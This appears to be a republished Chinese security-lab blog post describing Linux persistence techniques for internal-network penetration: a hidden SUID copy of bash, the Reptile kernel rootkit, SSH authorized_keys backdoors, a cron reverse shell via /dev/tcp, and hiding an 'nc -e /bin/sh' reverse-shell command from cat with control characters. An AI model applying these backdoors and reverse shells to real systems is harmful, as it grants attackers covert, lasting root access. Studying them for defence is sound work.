linux实验总结及心得_安全实验室 | 内网渗透—Linux权限维持技巧总结
在上一篇文章中我們介紹了內網滲透中Windows環境下進行權限維持(點擊閱讀)的方式,本期我們將視角集中在Linux系統中繼續對內網滲透中的權限維持方式進行探索。Linux也是在內網滲透中很常見的操作系統,但是其內部實現方式卻與Windows有著本質的區別。我們在對Windows權限維持方式的基礎上總結Linux系統的權限維持方式。
01SUID后門SUID是Set uid的簡稱,當一個文件的所屬主的標識位是x,且所屬主為root時,當執行該文件時,是以root身份執行的。所以如果攻擊者創建一個滿足上述條件的文件,并且使用該文件反彈一個bash的話,就會使一個普通用戶得到一個root權限的shell。
創建文件時必須具備以下條件:
SUID權限只對二進制程序有效;
執行者對于該程序需要具有x的可執行權限;
本權限僅在執行該程序的過程中有效;
在執行過程中執行者將具有該程序擁有者的權限;
首先使用root權限創建一個suid權限的隱藏文件,這個文件是/bin/bash的復制文件。
其次,使用普通用戶登入系統,使用如下命令/var/.hack -p,執行該文件以獲得一個root shell,執行后可以看到權限已經變成了root權限。
02Linux內核Rootkit后門?????
內核級Linux Rootkit的隱藏性通常要借助對Linux系統調用的截獲來達到目的,并且難以查殺、難以清除,危害巨大。主要適用的目標版本如下:
Debian 9:4.9.0-8-amd64
Debian 10:4.19.0-8-amd64
Ubuntu 18.04.1 LTS:4.15.0-38-generic
Kali Linux:4.18.0-kali2-amd64
Centos 6.10:2.6.32- 754.6.3.el6.x86_64
Centos 7:3.10.0-862.3.2.el7.x86_64
Centos 8:4.18.0-147.5.1.el8_1.x86_64
項目地址為:
https://github.com/f0rb1dd3n/Reptile
03SSH后門SSH是Linux提供的一種遠程登陸服務,SSH總共提供了兩種登陸驗證方式:一是賬號密碼登錄,也是常用的登陸方式;二是公私鑰登錄,SSH允許驗證登錄者提供的私鑰與自身公鑰是否匹配,以確定是否允許該用戶登錄。具體驗證方式如下:
首先攻擊者在本地生成一份SSH登錄的公私鑰對,使用如下命令即可:
ssh-keygen -trsa。
使用ssh-keygen生成兩份文件,分別是id_rsa和id_rsa.pub前者是私鑰文件,后者是公鑰文件。使用某種方法,將攻擊者生成的公鑰文件id_rsa.pub上傳進目標機~/.ssh/authorized_keys目錄下即可。
使用ssh直接登錄目標機即可,無需賬號密碼。
與Windows一樣,Linux也提供了計劃任務程序,在Linux系統中計劃任務一般是由cron承擔。我們使用cron添加一個反彈shell的計劃任務,以實現權限維持。
首先檢查目標機是否開啟了計劃任務。
利用cron程序寫入一個計劃任務:’*/1 * * * * bash -I>& /dev/tcp// 0>&1’使其每一分鐘向攻擊者IP發彈一次shell。
在攻擊機上監聽相應的端口,過了一分鐘即可接收到來自目標機的反彈shell,實現權限維持。
Cat命令是Linux系統自帶的指令,能夠查看文件的具體內容。但是Cat指令卻存在缺陷,cat默認是支持一些如\r回車符\n換行符\f換頁符等特殊符號,這些符號可能導致一些內容被錯誤的解析,進而隱藏一些系統命令。
創建一個python文件,使其能夠生成一個包含特殊符號的.sh文件,這個文件可以將惡意指令進行隱藏。
使用普通的cat指令查看這個.sh文件,發現惡意指令被隱藏。重新使用cat指令帶上-A參數即可看到該文件的真實全部內容。可以查看到惡意指令:nc -e /bin/sh 192.168.210.37 9999。
如果管理員沒有仔細查看文件的具體內容就執行了該文件,攻擊機則可以接到一個來自目標機的反彈shell。
總結
以上是生活随笔為你收集整理的linux实验总结及心得_安全实验室 | 内网渗透—Linux权限维持技巧总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 中富之命能有多少钱_邯郸白铁风管工每天工
- 下一篇: rm linux 复制目录,linux学